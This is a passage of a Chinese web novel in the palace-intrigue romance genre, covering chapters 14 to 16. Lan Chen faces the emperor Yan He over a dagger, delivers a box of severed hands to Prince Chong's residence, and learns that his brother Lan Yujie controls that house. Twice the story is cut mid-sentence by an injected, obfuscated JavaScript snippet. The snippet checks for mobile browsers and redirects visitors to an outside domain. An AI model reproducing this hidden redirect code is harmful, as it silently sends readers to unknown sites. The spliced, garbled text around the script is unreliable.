兰沉去太极殿的路上有些忐忑,因为他实在记不清昨夜的事,来时也找元汐和小青子过问,但他们只知燕赫在长乐殿留了一晚,半夜还衣着单薄站在殿外刮风,脸色看着并不好,提及旁的,他们都一概不知,这也让他无法确定一些事情的真假。 比如,他隐约感觉被人抱着同眠。 又比如,自己好像含住了某些东西。 可具体如何,如今只有燕赫知晓,这等私事难以启齿,何况以他们的关系,缠绵多年感情尚浅,实在无法宣之于口。 兰沉想得入迷,连抵达了太极殿都未曾发觉,恰好又掏了糖塞进嘴里,不便开口询问燕赫在哪,这时苏公公走出殿外传话,两人撞见,苏公公看出端倪,笑着说燕赫在殿内议事,请自己移步去偏殿稍作片刻,他心想梨膏糖还没吃完,便浅笑应了下来。 偏殿一如既往熏着龙涎香,连陈设都和上次来时一样。 回想起上回在偏殿,他的心跳莫名加快,不知是殿内暖气过盛,他觉得脸颊有些烧起来,忍不住甩了下脑袋清醒清醒。 兰沉在窗边寻了个圈椅落座,思考等会要如何取回匕首时,转眼被窗外盛开的梅花吸引了。 这太极殿装潢简奢,处处能见景致,冬日的梅花娇艳欲滴,且这窗口落了厚重的积雪,想必窗叶常年开着,每逢殿门敞开,穿堂风夹杂着梅花香灌入殿内,满室幽香宜人。 兰沉遥想在兰府上学之时,夫子钟爱梅兰,学堂两侧都种满了梅树和兰花,每逢花开之际,他会趴在窗台赏景,心中想着夫子所念过的文章,总觉得身临其境,景色更是美不胜收,亦如此时,沉迷其中无法自拔。 燕赫刚到偏殿前,入眼便瞧见美人倚窗赏梅的画面,美人身着牙白锦袍,身段清癯,双手撑在窗台,脑袋趴在手臂上,歪着脑袋伸手接花,瘦削的腰身铺了乌发,每当清风拂过,耳边一绺青丝会迎风扬起,飞舞的花瓣随风跃动时,也忍不住为此停留,落在发上不舍离去。 如此美景无人敢扰,朝歌原本跟在主子身后,见到这一幕也走了神,其实他初见兰沉便觉得此人长得好看,虽然内宫不乏长相出挑之人,但他感觉兰沉与众不同,奈何不知如何形容才算贴切,通俗点就是看着很舒服,尤其和兰沉说话时,他觉得那声音又轻又柔,更哄着自己似的,让他都想和兰沉多说几句。 可惜主子不然,他觉得主子最喜欢让兰公子的声音消失匿迹,真是暴殄天物,不懂欣赏。 燕赫在门口伫立许久,直到冷风刮得脸颊有些生硬才回神,余光察觉视线,偏头看了眼杵在身旁的朝歌,发现朝歌瞪圆了双眼,正直勾勾盯着兰沉。 帝王原本还算和善的面色瞬间沉了下去,那双深邃的眼眸藏着戾气,嘴角却勾着笑问:“看够了没?” 14. 第 14 章 朝歌在寒风中打了个冷颤,听见声音后头皮发紧,忙紧闭着眼睛应道:“属下这就滚!” 他应得大声,固然也惊动了窗边的兰沉。 兰沉循声回头,入眼瞧见出现在殿门前的人,连忙起身上前相迎,欲行礼之际,双手猛然被燕赫拦住。 “陛下?”他看着燕赫满脸不解。 燕赫拉着他走向暖炉,“日后见孤不必行礼了。” 兰沉愣了下,不解为何,又见燕赫去把窗户关紧,把殿外的景色都隔绝在外,让他以为是自己顾着观景忘了接驾,才让燕赫这般不悦。 他站在暖炉前有些不知所措,手心手背一顿乱烤,想不出对策打破沉默。 正踌躇着,他看见燕赫准备去关殿门,顿时拔腿上前相助,怎料将触碰大门时,手腕被一道力气拽住,强行把他往后拉开,与此同时,他目睹着门外有人伸手,帮他们把门关上了。 等他透过门缝认出是苏公公时,自己的双手竟失了掌控,被燕赫单手锁着反剪身后,一股极其具有侵略性的气势扑面而来,逼着自己连连后退,后背紧接着撞上殿内的博古架。 “兰云泽。”燕赫的声音沉闷,听着像是不悦,但更多的是无奈,“你能不能乖乖烤火?” 兰沉被迫仰头和他对视,只见他眉眼并无怒意,看这脸色尚且会饶人的,反而这莫名由来的压迫感,像被谁气着了。 他想了想,最后归咎于前朝的大臣,遂也无从下手安抚,只能如从前那般沉默寡言,避免出错触动天子之怒,面对询问只敢点头应是。 殊不知,这样循规蹈矩的兰沉更让人束手无策。 燕赫见状,突然有些后悔关窗御寒了,明明是担心他受风寒,但此刻又想把窗户打开,让他趴在窗边看个够算了。 来太极殿时他料想,兰沉大概是为匕首而来,他昨夜将匕首带走,确实是想让兰沉主动找自己,目的是想问一问兰沉,他们到底算什么关系,可转念想到两人已有夫妻之实,不是夫妻还能是什么? 真是多余又破坏感情的问题。 可匕首呢? 匕首在他们之间扮演了什么角色? 殿内的沉默让兰沉感到浑身不自在,即使这种情形在过去已有不少,可由于自己失去昨夜的记忆,导致此刻的心境发生了微妙的变化,这与往日在榻上的缠绵有所不同,他昔日从未想过靠近燕赫,哪怕床笫之事结束后,他也不认为燕赫会留下。 但昨夜燕赫留下了,还是在自己昏迷不醒之际留下照看自己。 相比从前不同,在这样的变化下,驱使着内心对昨夜的好奇,让他恨不得找个理由来一见,可此时此刻,他看着人在眼前,却不知该说些什么。 燕赫见他不语,忽地阴恻恻笑了声,“兰云泽,又是你要见孤,孤这会儿来了,你又不说话了,什么意思,在玩孤?” 兰沉被他问得身子一僵,感受到锁着手腕的掌心收紧,顿时生了后悔,心想真不该来招惹他,就算青天白日下见到他,也只会徒增害怕。 他缓缓低头,滚了滚喉咙,无措看着燕赫身着的龙袍,想寻个理由赶紧离开,省得纠缠久了还被宫人议论纷纷,“微臣......是来谢陛下御赐腰牌之恩。” 一句呢喃细语,叫燕赫分不清他到底是委屈还是害怕,亦或这本就是兰沉的声音,只是每回听着都让人心软。 若换做平日,他或许会考虑放过兰沉,但有了昨晚的勾引,又加上今日主动送上门,他实在没有理由把人放了。 燕赫突然抬起膝盖,强行顶开他的双腿,迎着他惊讶的神色俯身,“谢完了吗?完了就还债吧。” 兰沉被他这么一顶,想逃的心愈发强烈,白日宣淫,成何体统,但又捕捉他话中提及还债,有些迷惑问道:“还债?” 燕赫轻挑眉梢,知道他这是忘了,擡起膝盖道:“不如再来一次,助你回忆勾引孤的细节。” 兰沉闻言一惊,直呼不可能,见他笑得诡异,下身不适浑身难受,不欲和他纠缠,下意识便要挣开他的禁锢。 奈何两人之间的力量悬殊,兰沉努力挣扎了片刻最终以失败告终,甚至因为高估自己沉疴未愈的身子,不仅没挣开,还闹得气喘吁吁,双颊绯红。 而这些举动落在燕赫眼中,又成了另一种诱惑。 他觉得兰沉实在太符合自己的口味了,简直是他捕捉过最完美的猎物,尤其此时受了刺激后的模样,看起来可口又迷人,像极了他当年猎杀的小鹿。 少顷,他见兰沉反抗不动了,稍微松了些力道,慢吞吞问道:“怎么还生气了?” 兰沉调整好呼吸,忍不住剜他一眼,却发现他风轻云淡的神情,并未因自己的抵抗而盛怒,还很有耐心等着自己平复心情。 顷刻间,他怀疑自己误会燕赫了。 紧接着昨夜那些细碎的片段自脑海一闪而过,他心中顿生懊恼,责备自己失态的同时,也怪自己不分青红皂白认为燕赫在胡闹,仔细一想,燕赫性子虽阴晴不定,可相处两年从未有过胡诌之举,又怎会无中生有。 兰沉越想越觉得自己无理取闹,倘若当真事出在己,他才该无颜见人。 沉默见,他羞愧地埋下头,不知燕赫会如何处置自己,也为此感到忧心才压低声说:“陛下恕罪,是微臣误会了。” 燕赫沉吟少顷,似乎猜到他方才为何动怒,试探问道:“你觉得孤会骗你?” 兰沉紧抿着唇,不敢回答此言。 见状,燕赫一目了然,忽地因为他的质疑而生了心烦,明明近在咫尺,心却远在天边。 “云泽。”燕赫放过了他,拉开些许距离,抬手拨去他眼角一绺青丝,“我不需要骗你。” 兰沉感受到拂过眼角的指尖,一股痒意促使他下意识眨了眨眼睛,燕赫的话占据他的脑海,有刹那间心跳如擂鼓,令他一时哑然。 仿佛有东西钻进了心头,酥酥麻麻的。 兰沉有些窘迫躲开他的视线,思绪复杂,脑海里只有一个声音在叫嚣着。 好想逃。 燕赫转身朝御案走去,给自己倒了冷茶灌下,压下心头的烦闷。 兰沉跟在他身后,见他把玩着手里的茶杯时,一个极具冲击的画面从脑海闪过,他昨晚好像舔了燕赫? 他惊得屏住呼吸,汗毛直竖,连忙甩脑袋把那些画面抛开,恰逢此时,他瞥见躺在御案上的匕首,神情一顿,抬脚上前两步。 结果燕赫听见动静,侧身看去时注意到他,顺着视线往御案一看,正是那把匕首。 燕赫不禁想,若兰沉今日的出现是为了匕首,那他对自己的不信任,便也有迹可循了,宴席上被打断的问题,这把匕首的意义,还有兰沉这颗心,到底属于谁? 兰沉行至他身后道:“陛下,微臣有个不情之请。” 燕赫循声看去,目光随着兰沉缓缓跪下的身子垂落,帝王眉梢蹙起,“何事?” 他语气冷冽,天子威压如同黑暗的阴影,静静地盘踞在心头,让人无法摆脱。 兰沉以为他为适才的误会生气,打算先将匕首搁置在此,等燕赫气消后再想办法回来取。 此时此刻,他还有更重要的事情要做,听见燕赫问起后,他毫不犹疑说道:“微臣想出宫一趟,还请陛下恩准。” 燕赫闻言无关匕首,紧锁的眉头渐渐舒展,瞥向他腰间挂着的御牌道:“腰牌可随意出宫,为何要多此一举请旨?” 兰沉道:“内宫规矩不可失,微臣乃侍奉陛下之人,不敢越矩。” 燕赫深知身处内宫的不易,过去两年自己为了筹谋夺回实权,对身边的眼线视而不见,何况内宫还有崇王府送来的面首在钩心斗角,若表面这层平静被随意打破,只怕会置兰沉于危险之中。 想到这些无关紧要之人像苍蝇似的叨扰,燕赫头一次生出杀意,沉郁的眼眸尽是厌恶,又在看向兰沉时尽消,化作平日那副阴沉的神色。 他凝视着兰沉良久,忽地反手将御案的匕首拿起,屈身半蹲,手肘撑在膝上,以一个极其散漫的姿态端详着兰沉,毫无高高在上的天子之姿。 “孤允了,不过呢。”他扬了扬手中的匕首,一副和蔼可亲的模样笑着说,“这东西你不给孤一个解释吗?” 兰沉抬眼扫去,果然还是那把匕首,看来今日是躲不掉了,若不能解释清楚,不知会僵持到何时,可他岂能将意图杀害大臣的目的说出? 斟酌良久,燕赫也并未催促,只是静静等着他的回答。 兰沉清楚想要取回匕首不易,思忖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730321|157270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,决定将如何得到此物告知了。 他无声叹了口气,平静望向匕首,陈年的记忆被勾起,昔年他跟着兰玉阶身后学习骑射时,先生交了几招防身术,可惜自己没有武器,只能拿着木刀东施效颦,兰玉阶见状相赠了这把匕首,握着自己的手一招一式地教。 想当初他有多么珍惜这把匕首,后来他就有多恨,时时刻刻贴身携带,自我警醒被背叛、被唾弃,直到现在,他还要用这把匕首,去取原主人的首级。 但是这些他不能告诉燕赫,他只能忍着恶心,以当年的心境向燕赫阐明由来,告诉燕赫自己如何珍爱,是自己对亲人唯一的念想,希望能拿回匕首。 然而,燕赫听完后竟问他,“只有对亲人的念想吗?” 亲人二字被咬得极重,稍不留神,还以为问的是情人。 兰沉抬眸,四目交错间,谎言几乎要被戳穿,一股不好的预感渐渐涌上心头,尤其是燕赫脸上的笑,看着毛骨悚然。 对视须臾,兰沉立刻避开他的目光,怀疑燕赫是否知晓自己和兰玉阶的传言。 可入宫的两年里他又不受宠,在榻上连调情的话都未曾有过,可见燕赫只是将他当作泄/欲的工具罢了,何故对弃子用心至此。 兰沉思索再三,秉着先保命后弑兄的原则,决定不要试探此事为妙,所以很坚定应道:“是,只有亲人的念想。” 实际上,是仇人。 燕赫听着这句回答有点舒心,只是这点还不够。 他要更多。 他用刀鞘挑起兰沉的下颌,逼着和自己对视,“兰云泽,不够。”他觑着这双明眸,微微俯身靠近续道,“孤想知道的不止这些,孤要你亲口说,你的心里,到底有没有兰玉阶?” 话音刚落,兰沉的身形一晃,险些没跪稳,幸好燕赫出手极快,不仅把人扶着,还强行让他起身。 殿内的龙涎香弥漫,原本有着安神作用的香气,却始终无法平复兰沉不安的内心。 他以为燕赫不会知晓此事,毕竟兰玉阶何其看重声名,连养子的身份都要刻意隐瞒,又岂会让人乱传兰氏兄弟的绯闻。 然而,事实摆在眼前,兰沉不得不承认一事,燕赫什么都知道。 他什么都知道。 兰沉不敢去想他何时得知此事,又是从何处得知?可曾派人去渝州兰氏调查过?种种猜想就像无数双推向深渊的手,险些连呼吸都被夺走,脑海一片空白。 他眼睫颤了颤,鼓足了勇气看向燕赫,小心翼翼观察帝王的神情,试图在这双黑沉沉的眼眸里找到线索。 可惜一无所获。 他悬着的心终于死了,或许燕赫比自己想象中的知晓更多,什么所谓的亲情,其实是试探自己对兰玉阶的心意罢了。 这两年里,他将匕首贴身携带,若意图谋杀一事无法宣之于口,便只有余情未了这一个解释了。 真的余情未了吗?不,不是的。 这绝非他的真心,他对兰玉阶毫无情谊可言,却不知燕赫想要怎样的答案,只能紧绷着身子,从喉间挤出声音道:“......陛下。” “嗯?”燕赫正欣赏着刀锋,很显然这把刀被人日夜打磨,可见珍重,“想清楚了吗?” 兰沉生怕激怒他,生死关头当前想到什么说什么,“我心里没他!” 燕赫的目光缓慢移向他,在他迫切的神色中忽地轻声一笑。 兰沉猜不透此笑何意,只觉得瘆人,浑身仿佛被无形的恐惧抽丝剥茧,最后连精神都被掌控、被支配。 他恍然惊觉,这才是喜怒无常的帝王,无论这个人的举动还是视线,落在身上都充斥着试探、潮湿,那种黏着的目光丝丝缕缕追着自己,就像爬行皮肤上的毒蛇,如何都甩不掉。 刀锋收鞘,燕赫将匕首慢慢放回他的手里,一字一句道:“孤要听你再说一遍。” 兰沉双手僵硬托着匕首,感觉冷汗自背脊滑落至腰间,在这样的注视中他无法撒谎,更看清了自己的身份,除了安分守己的侍寝外绝不能有二心。 所以他心中还能有什么? 他心中什么都不能有。 兰沉双眼空洞,不知不觉把心里话说了出来,“我心里没有他。” 更没有任何人。 15. 第 15 章 燕赫嘴角的弧度以肉眼可见的速度趋平,他凝视着兰沉的双眸,总觉得奇怪,却不知问题出在何处。 少顷,兰沉感觉掌心一沉,发现燕赫把匕首交到他的手里,转身背对着他,双手撑在桌沿,脑袋垂向御案。 他不知道燕赫在想什么,四周安静片刻,只是听见一声冷笑后,燕赫才问道:“你此次出宫,可是想调查李锦司死因?” 话题一转,兰沉连忙整理好思绪,关于出宫之事,他也没想过要瞒着燕赫,默了默回道:“是,微臣觉得事出蹊跷,方才恳请陛下允准微臣前去调查。” 燕赫道:“内宫中人不得干政,你要如何瞒过旁人?” 很显然,他并未打算阻止兰沉出宫,更像支持一切所作所为。 兰沉如实道:“兄长邀微臣叙旧。” 这个确实是目前最好的理由,燕赫也不反驳,但时常出宫总会引人起疑,何况兰沉大病初愈,崇王府虎视眈眈,出宫恐怕危险重重。 关于这一点,即便燕赫不说,兰沉来时也想到了,所以他决定此次去见兰玉阶,无论对方提出任何要求,自己姑且应下,把李锦司身上的秘密挖出来再见机行事。 “朝歌。”燕赫突然喊了一声,很快殿门被人打开,殿内两人转身看去,只见朝歌端着一个如臂长的锦盒出现,随后听见燕赫续道,“你带着此物出宫,替孤去崇王府送礼,为孤证实一件事便足矣保你无虞。” 兰沉知道他的话是对自己说,欲从朝歌手中接过锦盒时,却被燕赫握着手腕,整个人被他拉了回去。 燕赫的神情如以往那般沉郁,见兰沉要去拿锦盒,笑得颇为诡异问:“你想知道里面是什么吗?” 兰沉点了点头,若知晓锦盒里的东西,出事也能及时应对。 朝歌站在他们对面,一听主子所言,以为主子想让兰沉看一看,便迫不及待伸手朝向锁扣,结果一道冷冽的目光落了过来,朝歌看着主子的神色,脸上的兴奋瞬间化为乌有。 燕赫回看兰沉,思忖顷刻,不欲故弄玄虚吓着他了,便道:“是伶人的双手。” 兰沉瞳孔骤缩,恍然想起小青子谈起伶人被处置一事,竟是这般处置吗? 燕赫接着说道:“你出宫先把这份大礼送到崇王府,到时候你或许会见到一人。” 兰沉抬眼认真看着他所言。 “崇王府小世子。”只见燕赫瞥了眼锦盒,“不必担心,以此人性子必然会打开锦盒,只要打开,无论发生何事都不用怕,他们不敢动你。” 兰沉不知他们有何计划,但有了这个任务在身,他出宫的理由也顺其自然多了,只是他不解一事,既然燕赫对他和兰玉阶的过往如此在意,又为何同意自己出宫相见? 难不成,燕赫忌惮兰氏功高盖主,担心内宫和前朝串通干涉朝政,打算借他和兰玉阶的绯闻作引,彻底铲除兰氏吗? 兰沉寻思着找不到比这个更合适的理由,恐怕就连锦盒也是为了试探自己。 如此甚好,他可以借此机会表忠了,若能和燕赫站在同一阵营上,未来行事必然方便许多。 他看了眼锦盒,一个计划油然而生,兰玉阶生性多疑,如今和崇王府往来想必是为了巩固地位,趁着兰玉阶根基未稳,若利用伶人这双手,以弑君之罪挑拨离间种下疑种,日后也少了对付崇王府的麻烦。 来太极殿的这一趟让兰沉胆战心惊,踏出殿门时,他被寒风扑了满脸,刺骨的冷意让他彻底清醒过来,忍不住深吸一口气吐掉,偏头看了眼被小太监捧着的锦盒,冷不丁哆嗦了下。 元汐姑姑疾步上前为他披上大氅,见他脸色苍白,关心问道:“公子可还好?” 兰沉手里还握着匕首,正打算贴身藏起,又想起燕赫那可怖的眼神,只好把匕首递给元汐,在她震惊的神情中道:“劳烦姑姑替我收起此物。” 只怕一时半会儿用不上了,等抓到兰玉阶的把柄后再带着吧。 而此刻的太极殿内,被暖气裹满的朝歌浑身发寒,他以为是炭火不够,特意往暖炉看了眼,结果发现炭火烧得正旺。 既然不是炭火的问题,那只能是主子的问题了,还没等他想好如何为主子排忧解难时,主子倒先给他制造了难题。 燕赫沉声问:“兰云泽到底把孤当什么了?” 朝歌双眼迷茫,一本正经说:“当皇帝?” 燕赫听后嫌他碍眼,想把人驱逐出门,但话到嘴边却顿住,若有所思半晌竟莫名低笑了起来,“若当真如此,倒是孤失算了。” 这两年为了对付崇王府,他几乎把兰沉藏在内宫,却忽略了他们之间的身份带来的差异,他适才总觉得古怪,总觉得和兰沉的距离太过遥远。 不过及时再遥远也无妨,他不会放过兰沉的,他一定会让兰沉的身心皆知,他是夫亦是君,倘若这都不能拉近两人的距离,他会让兰沉明白真正的生同衾死同穴。 帝王的笑声听得朝歌汗毛直竖,太熟悉了,主子一笑生死难料,这就是大事不妙的前奏。 有了燕赫给的任务,兰沉此次出宫顺利,连御牌也未曾用上。 来接他的马车是兰府的,兰玉阶升迁之后,便在金陵城购置新的府邸,在这以前,兰氏在京城也有避暑山庄,只是位于郊外,通常兰氏中有人上京方才会小住,并不适合兰玉阶应卯,何况兰氏家大业大,置办新府邸不过九牛一毛,算不上什么。 今日行程紧凑,眼下需先去崇王府送礼,之后见了兰玉阶,他还要去一趟李锦司的私宅。 秦伯暄昨日照例来长乐殿请脉时,带了有关李锦司的消息,原来李锦司在京中有一处悄养外室的宅子,李锦司死后外室卷钱离开,如今那宅子只有管家留下。 当年李锦司离开渝州后一路上京,金陵城济济群英,鸾翔凤集,李家在其中毫不起眼,可不知何时忽传李氏和天家沾亲带故,不久后李家也在京中谋到一官半职。 但奇怪的是,在李锦司死后次日,李氏举家离开金陵城,无影无踪仿佛人间蒸发了,京贵中有人得知此事并不畏惧,甚至用来娱乐助兴,群嘲李锦司生前爱慕虚荣的行为,更有人传他是得罪官贵假死,不敢露面。 如此罔顾人命之态换作旁人或许意外,可当兰沉得知群嘲之人的姓名后,对此只是一笑带过,只因其中几人曾在渝州兰府学堂中求学。 当年兰氏家主为巩固在朝中的地位,特意请传世大儒至兰府教学,借学堂之名吸引金陵城京贵慕名前来,这几人的父母便在兰氏拉拢名单中,且为掩盖此举,兰氏家主刻意找些无关紧要之人填充。 这群京贵虽各有千秋却难改纨绔性子,不少人难以忍受被捉弄选择离开,剩下的即便后来顺利授衣,但登科者却只有兰玉阶和莫桑与两人,也难为他们砸了夫子的招牌。 这几人所幸有恩荫庇护,回京后仍旧风生水起,对李锦司更是打骨子里瞧不上,又谈何尊重呢。 抵达崇王府门前,兰沉率先下了马车,小青子跟在身边,手里正捧着一个锦盒。 他们抬眼看去,朱红大门映入眼中,门前两座巨大的石狮镇守,巍峨的石柱撑起古韵门楼,视线穿过扇门,也能瞧见宏伟壮观的古树一隅,琉璃瓦镶嵌的屋顶在冬日暖阳里灿烂夺目,只需窥见一角,便可见其中奢华,不愧是一人之下万人之上的崇王府。 即使是深居皇宫的兰沉,此刻亲眼目睹也不由感叹其奢侈。 他行至白玉阶前时,府内便瞧见一家奴出门相迎。 按照燕赫的要求,兰沉今日只需将锦盒交给崇王府中人即可,至于其余的便与自己无关,他给小青子递了个眼神,只见小青子手脚利索上前,将锦盒双手举至头顶奉上。 兰沉轻声道:“烦请通报,在下今日携御赐品前来。” 家奴仔细打量锦盒造工,确认无误后连忙回礼,却并未如兰沉所言进府通报主人,而是上前接过锦盒,看这架势,似乎非帝王亲临恐难见王府正主了。 虽然小青子对他们的无礼感到诧异,但瞧见兰沉一言不发,便只能乖乖交出锦盒了。 兰沉并不打算逗留,听完家奴的寒暄后欲转身离开,不料听见一个急促的脚步声传来,众人回首看去,瞧见一个孩童小跑出门,身后还有几个下人追着他。 “世子小心别摔了!” 人群中不知是谁喊了一句,兰沉的注意力也落在这个孩子身上,脑海里想起燕赫曾言此人会打开锦盒。 果不其然,小世子被家奴手上的锦盒吸引,满脸童真朝着锦盒跑去,下人为了阻止他胡闹只能伸手拦腰抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兰沉怀揣着疑惑随管家进府,路过拥簇着世子的下人时,不巧听见世子出门的缘由。 原来这孩子生性顽劣,瞧见府门敞开便要往外跑,还喜欢恐吓客人,尤其冲撞客人后,发现对方还要和自己道歉就更加肆无忌惮,久而久之养成了无法无天的脾性,除了崇王谁都无法拿捏他。 兰沉想到燕赫在太极殿所言,未料燕赫对崇王府了如指掌,甚至帮自己避险了,否则都不敢想象这小魔头会对自己做什么。 兰沉虽不关心朝政,但对前朝传出的谣言略有耳闻,其中有传言崇王府位高权重,在朝中地位显赫,帝王不过是崇王的傀儡罢了。 如此大逆不道之言,换作任何帝王都会忌惮,但燕赫似乎从不在意,依旧我行我素。 绕过长亭水榭,一阵清幽的兰花香迎面飘来,兰沉的思绪瞬间被打断,侧目看去发现府内别有洞天,和来时的景致全然不同。 他忍不住低声惊叹道:“深冬春花开......” 管家耳力敏锐,听见时偏头笑道:“兰公子有所不知,离这不远有一处温泉,王爷喜爱赏兰花,便打造了一处四季如春的兰园,此处平日只用来招待兰大人。” 兰沉眼帘低垂认真听着,余光则游走在兰园中,有些事情在心中逐渐出现轮廓。 他跟在管家身后,刻意说道:“想必这座兰园花费王爷多年心血了。” 话音刚落,他瞥见管家步履顿了顿,显然意识到有些话说多了。 兰沉抬眼看向不远处的温泉,兰亭坐落氤氲水雾之中,亭中有两抹身影若隐若现,两人并肩伫立一圃剑兰前悠闲赏花,观其背影可见雅正,并非凶神恶煞之人。 但管家的话却让他意识到另一件事,满园兰花绝非一朝一夕栽养,来时路过的园子百花齐放,唯独兰园独树一帜,且兰园平日只招待兰玉阶,恐怕这两人相识多年,而非传闻中得升迁方得崇王青睐。 兰亭将至,管家停下脚步示意兰沉自己前去,兰沉颔首致谢,在原地顿足片刻才往亭子靠近。 他脚步缓慢,在脑海里不断搜寻有关崇王的记忆,但是一无所有,他不知兰玉阶和崇王何时相识,有些后悔轻易应邀入府,内心对此行感到不安。 16. 第 16 章 直到入了兰亭,方才赏花的两人听见脚步声转头看来,迎着两人的视线对视而上,兰沉心中刹时凛然。 他定睛看着不远处的兰玉阶,此刻正一袭紫袍锦衣,面容带笑,如和煦春风,身后是花海沐浴在温泉的水雾之中,仿若一副君子画,美不胜收。 兰沉移眼看向他身边站着的男子,那人面如冠玉,身形修长挺拔,瞧着和兰玉阶相差无几,倒是气质朗朗,笑容满面,眉宇间带着几分锋芒,颇有痞气,和传闻里心思深沉的摄政王毫不挂钩。 让兰沉觉得更奇怪的一点是,适才他见到的世子,眉宇间和崇王竟无半点相似,他如是想,心底的疑窦愈发深,难道此人并非崇王? 可若不是,那崇王到底何许人也? 他带着满腹疑惑上前,正踌躇着是否要行礼时,耳边传来兰玉阶的声音。 “你先退下吧。”他对着身边的男子道,“我有话要和云泽谈。” 那人闻言朝兰沉看去,却并未急着退下,而是耸了耸肩道:“我与云泽初见,还未尽地主之谊你便赶我走,隽寒,你有点过分了。” 地主之谊? 兰沉快速捕捉到这四个字,显然他正是崇王府的主人,可为何兰玉阶会以命令的口吻要求对方退下? 他们的交谈声就像一团迷雾,将兰沉团团围住,眼看那人朝自己步步逼近,兰沉想起下毒一事心有余悸,只能后撤半步行礼挡住他的靠近,“兰沉见过王爷。” 萧烨廷的脚步顿停,目光随着面前的身影缓缓落下,嘴角的笑意越发灿烂不羁,像看到了什么有意思的事情,嗤笑一声,特意回首和兰玉阶对视一眼才道:“隽寒,你这弟弟有意思,在自家行如此大礼。” 兰沉垂眸看着地面,听闻此言眼底掠过一丝诧异。 兰玉阶没搭理他,而是走上前弯腰把兰沉扶起,“云泽,日后再来此地不必见外,萧烨廷是自己人。” 萧烨廷走到他面前道:“听闻你给犬子送了礼,我正好过去看看,你们兄弟二人先叙旧吧。” 说话间,他看了眼两人扶着的双手,意味不明笑了笑,转头对兰玉阶挑眉示意离开。 待萧烨廷走后,兰沉立刻把手抽出,和兰玉阶拉开了些距离,忍着心底的不适撇开头,偏头看着萧烨廷的身影消失,想起近日发生的事,他不禁咬了咬牙关,来时的疑惑逐渐消散,一种被欺骗的情绪慢慢占据着自己。 兰玉阶察觉他的异样,明白他或许猜到了什么,索性不再隐瞒,“云泽,如你所见,他是崇王不错,但权力的背后是我们兰氏,你所在的崇王府,也是我们的。” 他缓慢靠近兰沉,双手握着他的肩膀,想到他会出宫见自己,眼底满是喜悦,对如今拥有的一切感到前所未有的自满,“当年把你送给燕赫是为兄无奈之举,现在为兄不仅是渝州兰氏的家主,是六部之首,是真正一人之下万人之上的崇王,你该为我感到开心才是。” 开心? 兰沉不知他从何而来的欣喜,这明明是欺君之罪,他怎会这般沾沾自喜? 只见兰沉满脸不可思议,他难以置信看着为权力而疯狂的兰玉阶,喃喃自语道:“你到底何时起......” 这个局到底从何时所布? 兰玉阶终于听见他和自己说话,顿时感觉当年那个弟弟回来了,温润的双眸里带着欣慰,耐心解释道:“从先帝质疑兰氏的忠心起,他们就该想到有这么一天。” 自古帝王多疑,兰氏镇守一方,兵力雄厚遭先皇忌惮,兰氏以创办学堂和朝臣暗中勾结,其中便有萧家。 当年萧烨廷身在禁军不得志,后来闻讯先皇失手杀害先皇后,他只身闯入内宫救下燕赫,又得兰氏在朝暗中相助,从此平步青云甘愿为兰氏所用。 兰玉阶满眼疼惜看着兰沉,期待他露出如从前那般仰慕自己的神情,“云泽,此局已成,只需三个月,为兄便能让朝中势力为我所用,成为真正的摄政王,将来兰氏不再被人忌惮,你看,为了让你留在身边,为兄什么都愿意做。” 只要能回到从前,他的弟弟会永远等着自己归家,会带着满脸爱慕围在自己身边,眼中只有自己,那这一切都值得。 反正他做的一切都是为了兰沉,他相信兰沉会懂的。 然而,事实并非如此,兰沉听见他冠冕堂皇找借口去陈述这些罪行时,对兰玉阶的城府感到震惊之余,更觉得前所未有的恶心。 何为为了留自己在身边,何为什么都愿意做? 这就是把自己献给别人的理由吗! 兰沉浑身麻木,心口有阵钝痛传来,仿佛无形中有东西把他的身体撕开,血淋淋的记忆全部涌现眼前。 他猛然间推开兰玉阶,紧握成拳的双手颤抖着,克制着满腔的愤怒冷声道:“我不稀罕。” 声音虽轻,却足以让人感受到他的痛苦。 原本他不需要这么生气,他只需要花费一些时日抓住兰玉阶的把柄,之后为长姐,为曾经的自己讨回一个公道就够了,哪怕是同归于尽也无妨,反正这世间没人在意自己。 可老天爷和他开了个天大的玩笑,天大的玩笑! 吏部新上任的尚书大人兰玉阶,竟是掌控崇王府的幕后之人! 那他还要如何杀了兰玉阶! 要如何报仇雪恨! 明明四周是环湖温泉,可兰沉却双手抱臂,紧绷的四肢僵硬,他才发现,这温暖如春的兰园其实冰冷刺骨,就像回到当年中毒之时,回到被人送进宫的那晚,也像现在这么无措和痛苦。 喉间仿佛有什么要吐出来,可是为何,他嘴唇龛动着却无法发声? 兰玉阶见他浑身发颤,快速上前用手试探他的额头,却被他抬手用力挥开。 一时的气急攻心,让兰沉感觉胸腔发疼,忍不住低声咳嗽起来,“救......” 他张嘴了,可他说不完整一句话,他好想说救命,他好想说要离开这里。 但兰玉阶不依不挠,见他避开自己时竟面色不悦,索性扣着兰沉的手腕,也不顾他是否咳嗽,一副恨铁不成钢的态度道:“云泽!这么多年了,你还在耍小孩子脾性,若非为了你,为兄何须辛苦筹谋多年?” 闻言,兰沉抬起眼帘,布满血丝的双眸里全是愕然,费力咽下喉咙的不适后,忍着难受不停挣脱兰玉阶的禁锢,只想快些逃离此处,他总算看清此人真面目,原来温润如玉的表面下,竟藏着这副丑陋的面孔。 他不想和兰玉阶费口舌,只哑声道:“我不想听,让我走。”殊不知,他漠不关心的神情激怒了兰玉阶。 